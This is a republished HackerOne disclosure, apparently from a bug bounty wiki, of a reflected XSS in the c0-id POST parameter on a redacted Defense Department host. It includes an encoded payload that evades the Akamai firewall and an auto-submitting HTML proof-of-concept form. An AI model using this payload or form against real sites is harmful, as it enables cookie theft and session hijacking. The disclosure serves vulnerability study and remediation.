Skip to content
XSS Disclosed report Intermediate

Cross-Site Scripting (XSS) Vulnerability via parameter c0-id + Akamai Firewall Bypass

A reflected cross-site scripting flaw existed in a POST parameter, and the report also shows a payload crafted to slip past the Akamai web application firewall. An attacker could run script in a victim's browser and steal cookies to hijack the session.

jonasdiasrebelo Follow

Originally disclosed on HackerOne

  • Triaged in under an hour
  • Fixed in 20 days
  • Disclosed after 15 months

Hi! I discovered a Cross-Site Scripting (XSS) vulnerability on ████████, specifically through the POST method. This vulnerability allows an attacker to inject malicious scripts that could be executed, potentially leading to cookie theft, session hijacking, and other malicious actions.

Url: ██████████

Payload to bypass Akamai Firewall: '%3cinput%3e'%22%3e%3cA%20HRef%3d%5c%22%20AutoFocus%20OnFocus%3dtop%2f%2a%2a%2f%3f%2e'ale'%2B'rt'%3e

References

█████

Impact

Exploitation of this vulnerability can lead to severe consequences, including but not limited: Session Hijacking: Attackers can steal cookies and impersonate legitimate users.

System Host(s)

███████

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

Use this code in your own website to execute the XSS Method Post.

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="████████" method="POST">
      <input type="hidden" name="c0&#45;id" value="8634&#95;1727770004276&apos;&lt;input&gt;&apos;&quot;&gt;&lt;A&#32;HRef&#61;&#92;&quot;&#32;AutoFocus&#32;OnFocus&#61;top&#47;&#42;&#42;&#47;&#63;&#46;&#91;&apos;ale&apos;&#43;&apos;rt&apos;&#93;&#40;document&#43;cookie&#41;&gt;" />
      <input type="hidden" name="c0&#45;methodName" value="getHelpText" />
      <input type="hidden" name="c0&#45;param0" value="string&#58;&lt;wddxPacket&#32;version&#61;&apos;1&#46;0&apos;&gt;&lt;header&#47;&gt;&lt;data&gt;&lt;string&gt;sponsor&#95;org&#95;type&lt;&#47;string&gt;&lt;&#47;data&gt;&lt;&#47;wddxPacket&gt;" />
      <input type="hidden" name="c0&#45;scriptName" value="null" />
      <input type="hidden" name="callCount" value="1" />
      <input type="hidden" name="method" value="init" />
      <input type="hidden" name="xml" value="true" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Suggested Mitigation/Remediation Actions

Apply context-dependent encoding and/or validation to user input rendered on a page

The original report as published on HackerOne, by jonasdiasrebelo. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application echoed the c0-id parameter into the page without context-appropriate encoding, and the firewall's pattern matching could be evaded with encoded markup.

Impact

An attacker could steal cookies and impersonate legitimate users, leading to session hijacking, though the report gives no proof beyond the payload itself.

What the attacker needed

Victim loads attacker page; target accepts POST requests

How it was found

  1. Host a page containing an auto-submitting form that posts to the target.
  2. Set the c0-id field to the encoded payload and include the other expected form fields.
  3. Load the page so the form submits automatically.
  4. The injected script is expected to execute in the browser context.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Cross-site scripting means a website puts text supplied by a user into a page without making it safe, so the browser treats it as code. Here the unsafe text arrived in a form field sent by POST, and the attacker also shaped it to look harmless to a firewall that inspects traffic. If a victim loads the crafted page, the script runs as the site and can read their cookies, which are the tokens that keep them logged in.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by jonasdiasrebelo

View all

27 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.